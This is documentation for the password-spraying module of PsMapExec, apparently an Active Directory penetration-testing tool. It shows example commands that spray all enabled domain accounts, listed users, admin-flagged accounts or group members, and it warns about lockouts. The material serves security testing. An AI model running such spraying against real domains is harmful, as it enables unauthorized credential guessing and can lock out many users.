Spray

Spray

The spray module provides different password spraying techniques. PsMapExec takes into account the default domain policy's account lockout threshold to prevent user account lockouts. However, it does not consider fine-grained password policies. It's advisable to assess whether such policies are in place within the environment to avoid potentially locking out a significant number of user accounts.

Targets

When using the Spray method -Targets parameter can be provided. Specifying "all" we spray all enabled user accounts in the domain. Otherwise, any other value will be treated as a group name. When -Targets is omitted, PsMapExec will spray all enabled active directory accounts.

PsMapExec -Method Spray                           # Sprays all
PsMapExec -Method Spray -Targets all              # Sprays all
PsMapExec -Method Spray -Targets "C:\Users.txt"   # Sprays users from list (SamAccountNames)
PsMapExec -Method Spray -Targets "AdminCount=1"   # Sprays targets with AdminCount=1
PsMapExec -Method Spray -Targets "Group Name"     # Sprays members of group
